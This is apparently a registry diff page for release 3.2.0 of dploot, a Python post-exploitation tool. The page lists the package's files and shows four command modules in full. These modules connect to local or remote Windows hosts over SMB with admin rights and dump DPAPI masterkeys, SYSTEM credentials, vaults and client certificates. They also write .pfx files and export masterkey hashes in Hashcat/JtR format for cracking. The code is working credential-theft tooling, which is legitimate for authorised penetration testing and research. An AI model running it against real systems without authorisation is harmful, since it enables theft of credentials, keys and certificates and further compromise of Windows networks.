dploot 3.2.0__py2.py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. dploot/__init__.py +0 -0
  2. dploot/action/__init__.py +0 -0
  3. dploot/action/backupkey.py +102 -0
  4. dploot/action/blob.py +167 -0
  5. dploot/action/browser.py +192 -0
  6. dploot/action/certificates.py +146 -0
  7. dploot/action/cng.py +129 -0
  8. dploot/action/credentials.py +132 -0
  9. dploot/action/machinecertificates.py +136 -0
  10. dploot/action/machinecng.py +120 -0
  11. dploot/action/machinecredentials.py +120 -0
  12. dploot/action/machinemasterkeys.py +117 -0
  13. dploot/action/machinetriage.py +158 -0
  14. dploot/action/machinevaults.py +127 -0
  15. dploot/action/masterkeys.py +200 -0
  16. dploot/action/mobaxterm.py +138 -0
  17. dploot/action/rdg.py +132 -0
  18. dploot/action/sccm.py +125 -0
  19. dploot/action/triage.py +187 -0
  20. dploot/action/vaults.py +132 -0
  21. dploot/action/wam.py +133 -0
  22. dploot/action/wifi.py +137 -0
  23. dploot/entry.py +98 -0
  24. dploot/lib/__init__.py +0 -0
  25. dploot/lib/consts.py +30 -0
  26. dploot/lib/crypto.py +415 -0
  27. dploot/lib/dpapi.py +302 -0
  28. dploot/lib/masterkey.py +75 -0
  29. dploot/lib/smb.py +517 -0
  30. dploot/lib/target.py +219 -0
  31. dploot/lib/utils.py +99 -0
  32. dploot/lib/wmi.py +61 -0
  33. dploot/triage/__init__.py +30 -0
  34. dploot/triage/backupkey.py +81 -0
  35. dploot/triage/browser.py +441 -0
  36. dploot/triage/certificates.py +444 -0
  37. dploot/triage/cng.py +165 -0
  38. dploot/triage/credentials.py +163 -0
  39. dploot/triage/masterkeys.py +279 -0
  40. dploot/triage/mobaxterm.py +653 -0
  41. dploot/triage/rdg.py +249 -0
  42. dploot/triage/sccm.py +302 -0
  43. dploot/triage/vaults.py +307 -0
  44. dploot/triage/wam.py +251 -0
  45. dploot/triage/wifi.py +424 -0
  46. dploot-3.2.0.dist-info/METADATA +865 -0
  47. dploot-3.2.0.dist-info/RECORD +50 -0
  48. dploot-3.2.0.dist-info/WHEEL +4 -0
  49. dploot-3.2.0.dist-info/entry_points.txt +3 -0
  50. dploot-3.2.0.dist-info/licenses/LICENSE +21 -0
@@ -0,0 +1,117 @@
1
+ import argparse
2
+ from binascii import unhexlify
3
+ import logging
4
+ import sys
5
+ from typing import Callable, Tuple
6
+
7
+ from dploot.lib.smb import DPLootSMBConnection
8
+ from dploot.lib.target import Target, add_target_argument_group
9
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
10
+ from dploot.triage.masterkeys import MasterkeysTriage
11
+
12
+
13
+ NAME = "machinemasterkeys"
14
+
15
+
16
+ class MachineMasterkeysAction:
17
+ def __init__(self, options: argparse.Namespace) -> None:
18
+ self.options = options
19
+
20
+ self.target = Target.from_options(options)
21
+
22
+ self.conn = None
23
+ self._is_admin = None
24
+ self.outputfile = None
25
+ self.outputdir = None
26
+
27
+ self.dpapi_system_key = {}
28
+ if self.options.dpapi_system_key is not None and self.options.dpapi_system_key != "":
29
+ correl_table = {"dpapi_machinekey":"MachineKey","dpapi_userkey":"UserKey"}
30
+ self.dpapi_system_key = {correl_table[k] :unhexlify(v[2:]) for k, v in (elem.split(":") for elem in options.dpapi_system_key.split(","))}
31
+
32
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
33
+
34
+ if self.options.outputfile is not None and self.options.outputfile != "":
35
+ self.outputfile = self.options.outputfile
36
+
37
+ def connect(self) -> None:
38
+ self.conn = DPLootSMBConnection(self.target)
39
+ if self.conn.connect() is None:
40
+ logging.error("Could not connect to %s" % self.target.address)
41
+ sys.exit(1)
42
+
43
+ def run(self) -> None:
44
+ self.connect()
45
+ logging.info(
46
+ "Connected to {} as {}\\{} {}\n".format(
47
+ self.target.address,
48
+ self.target.domain,
49
+ self.target.username,
50
+ ("(admin)" if self.is_admin else ""),
51
+ )
52
+ )
53
+ if self.is_admin:
54
+ fd = (
55
+ open(self.outputfile + ".mkf", "a+")
56
+ if self.outputfile is not None
57
+ else None
58
+ )
59
+
60
+ def masterkey_callback(masterkey):
61
+ masterkey.dump()
62
+ if fd is not None:
63
+ fd.write(str(masterkey) + "\n")
64
+
65
+ triage = MasterkeysTriage(
66
+ target=self.target,
67
+ conn=self.conn,
68
+ per_masterkey_callback=masterkey_callback,
69
+ dpapiSystem=self.dpapi_system_key
70
+ )
71
+ logging.info("Triage SYSTEM masterkeys\n")
72
+ triage.triage_system_masterkeys()
73
+ if self.outputfile is not None:
74
+ logging.critical("Writting masterkeys to %s.mkf" % self.outputfile)
75
+ fd.close()
76
+ if self.outputdir is not None:
77
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
78
+ else:
79
+ logging.info("Not an admin, exiting...")
80
+
81
+ @property
82
+ def is_admin(self) -> bool:
83
+ if self._is_admin is not None:
84
+ return self._is_admin
85
+
86
+ self._is_admin = self.conn.is_admin()
87
+ return self._is_admin
88
+
89
+
90
+ def entry(options: argparse.Namespace) -> None:
91
+ a = MachineMasterkeysAction(options)
92
+ a.run()
93
+
94
+
95
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
96
+ subparser = subparsers.add_parser(
97
+ NAME, help="Dump system masterkey from local or remote target"
98
+ )
99
+
100
+ group = subparser.add_argument_group("machinemasterkeys options")
101
+
102
+ group.add_argument(
103
+ "-outputfile",
104
+ action="store",
105
+ help=("Export keys to file"),
106
+ )
107
+
108
+ group.add_argument(
109
+ "-dpapi-system-key",
110
+ action="store",
111
+ metavar="dpapi_machinekey:0x0123456789abcdef0123456789abcdef01234567,dpapi_userkey:0x0123456789abcdef0123456789abcdef01234567",
112
+ help=("Use custom DPAPI SYSTEM keys"),
113
+ )
114
+
115
+ add_target_argument_group(subparser)
116
+
117
+ return NAME, entry
@@ -0,0 +1,158 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+
6
+ from dploot.lib.smb import DPLootSMBConnection
7
+ from dploot.lib.target import Target, add_target_argument_group
8
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
9
+ from dploot.triage.certificates import CertificatesTriage
10
+ from dploot.triage.credentials import CredentialsTriage
11
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
12
+ from dploot.triage.vaults import VaultsTriage
13
+
14
+ NAME = "machinetriage"
15
+
16
+
17
+ class MachineTriageAction:
18
+ def __init__(self, options: argparse.Namespace) -> None:
19
+ self.options = options
20
+ self.target = Target.from_options(options)
21
+
22
+ self.conn = None
23
+ self._is_admin = None
24
+ self.outputdir = None
25
+ self.masterkeys = None
26
+ self.pvkbytes = None
27
+
28
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
29
+
30
+ if self.options.mkfile is not None:
31
+ try:
32
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
33
+ except Exception as e:
34
+ logging.error(str(e))
35
+ sys.exit(1)
36
+
37
+ def connect(self) -> None:
38
+ self.conn = DPLootSMBConnection(self.target)
39
+ if self.conn.connect() is None:
40
+ logging.error("Could not connect to %s" % self.target.address)
41
+ sys.exit(1)
42
+
43
+ def run(self) -> None:
44
+ self.connect()
45
+ logging.info(
46
+ "Connected to {} as {}\\{} {}\n".format(
47
+ self.target.address,
48
+ self.target.domain,
49
+ self.target.username,
50
+ ("(admin)" if self.is_admin else ""),
51
+ )
52
+ )
53
+
54
+ if self.is_admin:
55
+ if self.masterkeys is None:
56
+
57
+ def masterkey_callback(masterkey):
58
+ masterkey.dump()
59
+
60
+ masterkeys_triage = MasterkeysTriage(
61
+ target=self.target,
62
+ conn=self.conn,
63
+ per_masterkey_callback=masterkey_callback,
64
+ )
65
+ logging.info("Triage SYSTEM masterkeys\n")
66
+ self.masterkeys = masterkeys_triage.triage_system_masterkeys()
67
+ print()
68
+ if self.outputdir is not None:
69
+ dump_looted_files_to_disk(self.outputdir, masterkeys_triage.looted_files)
70
+
71
+ def credential_callback(credential):
72
+ if self.options.quiet:
73
+ credential.dump_quiet()
74
+ else:
75
+ credential.dump()
76
+
77
+ credentials_triage = CredentialsTriage(
78
+ target=self.target,
79
+ conn=self.conn,
80
+ masterkeys=self.masterkeys,
81
+ per_credential_callback=credential_callback,
82
+ )
83
+ logging.info("Triage SYSTEM Credentials\n")
84
+ credentials_triage.triage_system_credentials()
85
+ if self.outputdir is not None:
86
+ dump_looted_files_to_disk(self.outputdir, credentials_triage.looted_files)
87
+
88
+ vaults_triage = VaultsTriage(
89
+ target=self.target,
90
+ conn=self.conn,
91
+ masterkeys=self.masterkeys,
92
+ per_vault_callback=credential_callback,
93
+ )
94
+ logging.info("Triage SYSTEM Vaults\n")
95
+ vaults_triage.triage_system_vaults()
96
+ if self.outputdir is not None:
97
+ dump_looted_files_to_disk(self.outputdir, vaults_triage.looted_files)
98
+
99
+ def certificate_callback(certificate):
100
+ if not self.options.dump_all and not certificate.clientauth:
101
+ return
102
+ if not self.options.quiet:
103
+ certificate.dump()
104
+ filename = f"{certificate.username}_{certificate.filename[:16]}.pfx"
105
+ logging.critical("Writting certificate to %s" % filename)
106
+ with open(filename, "wb") as f:
107
+ f.write(certificate.pfx)
108
+
109
+ certificate_triage = CertificatesTriage(
110
+ target=self.target,
111
+ conn=self.conn,
112
+ masterkeys=self.masterkeys,
113
+ per_certificate_callback=certificate_callback,
114
+ )
115
+ logging.info("Triage SYSTEM Certificates\n")
116
+ certificate_triage.triage_system_certificates()
117
+ if self.outputdir is not None:
118
+ dump_looted_files_to_disk(self.outputdir, certificate_triage.looted_files)
119
+ else:
120
+ logging.info("Not an admin, exiting...")
121
+
122
+ @property
123
+ def is_admin(self) -> bool:
124
+ if self._is_admin is not None:
125
+ return self._is_admin
126
+
127
+ self._is_admin = self.conn.is_admin()
128
+ return self._is_admin
129
+
130
+
131
+ def entry(options: argparse.Namespace) -> None:
132
+ a = MachineTriageAction(options)
133
+ a.run()
134
+
135
+
136
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
137
+ subparser = subparsers.add_parser(
138
+ NAME,
139
+ help="Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target",
140
+ )
141
+
142
+ group = subparser.add_argument_group("machinetriage options")
143
+
144
+ group.add_argument(
145
+ "-mkfile",
146
+ action="store",
147
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
148
+ )
149
+
150
+ group.add_argument(
151
+ "-dump-all",
152
+ action="store_true",
153
+ help=("Dump also certificates not used for client authentication"),
154
+ )
155
+
156
+ add_target_argument_group(subparser)
157
+
158
+ return NAME, entry
@@ -0,0 +1,127 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+
6
+ from dploot.lib.smb import DPLootSMBConnection
7
+ from dploot.lib.target import Target, add_target_argument_group
8
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
9
+
10
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
11
+ from dploot.triage.vaults import VaultsTriage
12
+
13
+
14
+ NAME = "machinevaults"
15
+
16
+
17
+ class MachineVaultsAction:
18
+ def __init__(self, options: argparse.Namespace) -> None:
19
+ self.options = options
20
+
21
+ self.target = Target.from_options(options)
22
+
23
+ self.conn = None
24
+ self._is_admin = None
25
+ self.masterkeys = None
26
+ self.outputdir = None
27
+
28
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
29
+
30
+ if self.options.mkfile is not None:
31
+ try:
32
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
33
+ except Exception as e:
34
+ logging.error(str(e))
35
+ sys.exit(1)
36
+
37
+ def connect(self) -> None:
38
+ self.conn = DPLootSMBConnection(self.target)
39
+ if self.conn.connect() is None:
40
+ logging.error("Could not connect to %s" % self.target.address)
41
+ sys.exit(1)
42
+
43
+ def run(self) -> None:
44
+ self.connect()
45
+ logging.info(
46
+ "Connected to {} as {}\\{} {}\n".format(
47
+ self.target.address,
48
+ self.target.domain,
49
+ self.target.username,
50
+ ("(admin)" if self.is_admin else ""),
51
+ )
52
+ )
53
+ if self.is_admin:
54
+ if self.masterkeys is None:
55
+
56
+ def masterkey_triage(masterkey):
57
+ masterkey.dump()
58
+
59
+ masterkeytriage = MasterkeysTriage(
60
+ target=self.target,
61
+ conn=self.conn,
62
+ per_masterkey_callback=masterkey_triage
63
+ if not self.options.quiet
64
+ else None,
65
+ )
66
+ logging.info("Triage SYSTEM masterkeys\n")
67
+ self.masterkeys = masterkeytriage.triage_system_masterkeys()
68
+ print()
69
+ if self.outputdir is not None:
70
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
71
+
72
+ def secret_callback(vault):
73
+ if self.options.quiet:
74
+ vault.dump_quiet()
75
+ else:
76
+ vault.dump()
77
+
78
+ vaults_triage = VaultsTriage(
79
+ target=self.target,
80
+ conn=self.conn,
81
+ masterkeys=self.masterkeys,
82
+ per_vault_callback=secret_callback,
83
+ )
84
+ logging.info("Triage SYSTEM Vaults\n")
85
+ vaults_triage.triage_system_vaults()
86
+ if self.outputdir is not None:
87
+ dump_looted_files_to_disk(self.outputdir, vaults_triage.looted_files)
88
+
89
+ else:
90
+ logging.info("Not an admin, exiting...")
91
+
92
+ @property
93
+ def is_admin(self) -> bool:
94
+ if self._is_admin is not None:
95
+ return self._is_admin
96
+
97
+ self._is_admin = self.conn.is_admin()
98
+ return self._is_admin
99
+
100
+
101
+ def entry(options: argparse.Namespace) -> None:
102
+ a = MachineVaultsAction(options)
103
+ a.run()
104
+
105
+
106
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
107
+ subparser = subparsers.add_parser(
108
+ NAME, help="Dump system vaults from local or remote target"
109
+ )
110
+
111
+ group = subparser.add_argument_group("machinevaults options")
112
+
113
+ group.add_argument(
114
+ "-mkfile",
115
+ action="store",
116
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
117
+ )
118
+
119
+ group.add_argument(
120
+ "-outputfile",
121
+ action="store",
122
+ help=("Export keys to file"),
123
+ )
124
+
125
+ add_target_argument_group(subparser)
126
+
127
+ return NAME, entry
@@ -0,0 +1,200 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Dict, Tuple
5
+
6
+ from dploot.lib.smb import DPLootSMBConnection
7
+ from dploot.lib.target import Target, add_target_argument_group
8
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option, parse_file_as_dict
9
+ from dploot.triage.masterkeys import MasterkeysTriage
10
+
11
+
12
+ NAME = "masterkeys"
13
+
14
+
15
+ class MasterkeysAction:
16
+ def __init__(self, options: argparse.Namespace) -> None:
17
+ self.options = options
18
+
19
+ self.target = Target.from_options(options)
20
+
21
+ self.conn = None
22
+ self._is_admin = None
23
+ self.outputfile = None
24
+ self.pvkbytes = None
25
+ self.passwords = None
26
+ self.nthashes = None
27
+ self.outputdir = None
28
+
29
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
30
+
31
+ if self.options.outputfile is not None and self.options.outputfile != "":
32
+ self.outputfile = self.options.outputfile
33
+
34
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
35
+ self.options, self.target
36
+ )
37
+
38
+ def connect(self) -> None:
39
+ self.conn = DPLootSMBConnection(self.target)
40
+ if self.conn.connect() is None:
41
+ logging.error("Could not connect to %s" % self.target.address)
42
+ sys.exit(1)
43
+
44
+ def run(self) -> None:
45
+ self.connect()
46
+ logging.info(
47
+ "Connected to {} as {}\\{} {}\n".format(
48
+ self.target.address,
49
+ self.target.domain,
50
+ self.target.username,
51
+ ("(admin)" if self.is_admin else ""),
52
+ )
53
+ )
54
+ if self.is_admin:
55
+ fd = (
56
+ open(self.outputfile + ".mkf", "a+")
57
+ if self.outputfile is not None
58
+ else None
59
+ )
60
+
61
+ def masterkey_callback(masterkey):
62
+ if masterkey.key is not None:
63
+ masterkey.dump()
64
+ if fd is not None:
65
+ fd.write(str(masterkey) + "\n")
66
+
67
+ triage = MasterkeysTriage(
68
+ target=self.target,
69
+ conn=self.conn,
70
+ pvkbytes=self.pvkbytes,
71
+ nthashes=self.nthashes,
72
+ passwords=self.passwords,
73
+ per_masterkey_callback=masterkey_callback,
74
+ )
75
+ logging.info("Triage ALL USERS masterkeys\n")
76
+ triage.triage_masterkeys()
77
+ if self.outputfile is not None:
78
+ logging.critical("Writting masterkeys to %s" % self.outputfile)
79
+ fd.close()
80
+ if self.options.hashes_outputfile:
81
+ print()
82
+ with open(self.options.hashes_outputfile, "a+") as hashes_fd:
83
+ for mkhash in [mkhash for masterkey in triage.all_looted_masterkeys for mkhash in masterkey.generate_hash() ]:
84
+ print(mkhash)
85
+ hashes_fd.write(mkhash + "\n")
86
+ print()
87
+ logging.critical("Writting masterkey hashes to %s" % self.options.hashes_outputfile)
88
+ if self.outputdir is not None:
89
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
90
+ else:
91
+ logging.info("Not an admin, exiting...")
92
+
93
+ @property
94
+ def is_admin(self) -> bool:
95
+ if self._is_admin is not None:
96
+ return self._is_admin
97
+
98
+ self._is_admin = self.conn.is_admin()
99
+ return self._is_admin
100
+
101
+
102
+ def entry(options: argparse.Namespace) -> None:
103
+ a = MasterkeysAction(options)
104
+ a.run()
105
+
106
+
107
+ def parse_masterkeys_options(
108
+ options: argparse.Namespace, target: Target
109
+ ) -> Tuple[bytes, Dict[str, str], Dict[str, str]]:
110
+ pvkbytes = None
111
+ passwords = {}
112
+ nthashes = {}
113
+ if hasattr(options, "pvk") and options.pvk is not None:
114
+ try:
115
+ pvkbytes = open(options.pvk, "rb").read()
116
+ except Exception as e:
117
+ logging.error(str(e))
118
+ sys.exit(1)
119
+
120
+ if hasattr(options, "passwords") and options.passwords is not None:
121
+ try:
122
+ passwords = parse_file_as_dict(options.passwords)
123
+ except Exception as e:
124
+ logging.error(str(e))
125
+ sys.exit(1)
126
+
127
+ if hasattr(options, "nthashes") and options.nthashes is not None:
128
+ try:
129
+ nthashes = parse_file_as_dict(options.nthashes)
130
+ except Exception as e:
131
+ logging.error(str(e))
132
+ sys.exit(1)
133
+
134
+ if target.password is not None and target.password != "":
135
+ if passwords is None:
136
+ passwords = {}
137
+ passwords[target.username] = target.password
138
+
139
+ if target.nthash is not None and target.nthash != "":
140
+ if nthashes is None:
141
+ nthashes = {}
142
+ nthashes[target.username] = target.nthash.lower()
143
+
144
+ if nthashes is not None:
145
+ nthashes = {k.lower(): v.lower() for k, v in nthashes.items()}
146
+
147
+ if passwords is not None:
148
+ passwords = {k.lower(): v for k, v in passwords.items()}
149
+
150
+ return pvkbytes, passwords, nthashes
151
+
152
+
153
+ def add_masterkeys_argument_group(group: argparse._ArgumentGroup) -> None:
154
+ group.add_argument(
155
+ "-pvk",
156
+ action="store",
157
+ help=("Pvk file with domain backup key"),
158
+ )
159
+
160
+ group.add_argument(
161
+ "-passwords",
162
+ action="store",
163
+ help=(
164
+ "File containing username:password that will be used eventually to decrypt masterkeys"
165
+ ),
166
+ )
167
+
168
+ group.add_argument(
169
+ "-nthashes",
170
+ action="store",
171
+ help=(
172
+ "File containing username:nthash that will be used eventually to decrypt masterkeys"
173
+ ),
174
+ )
175
+
176
+
177
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
178
+ subparser = subparsers.add_parser(
179
+ NAME, help="Dump users masterkey from local or remote target"
180
+ )
181
+
182
+ group = subparser.add_argument_group("masterkeys options")
183
+
184
+ add_masterkeys_argument_group(group)
185
+
186
+ group.add_argument(
187
+ "-outputfile",
188
+ action="store",
189
+ help=("Export keys to file"),
190
+ )
191
+
192
+ group.add_argument(
193
+ "-hashes-outputfile",
194
+ action="store",
195
+ help=("Export hashes of masterkeys to file in Hashcat/JtR format"),
196
+ )
197
+
198
+ add_target_argument_group(subparser)
199
+
200
+ return NAME, entry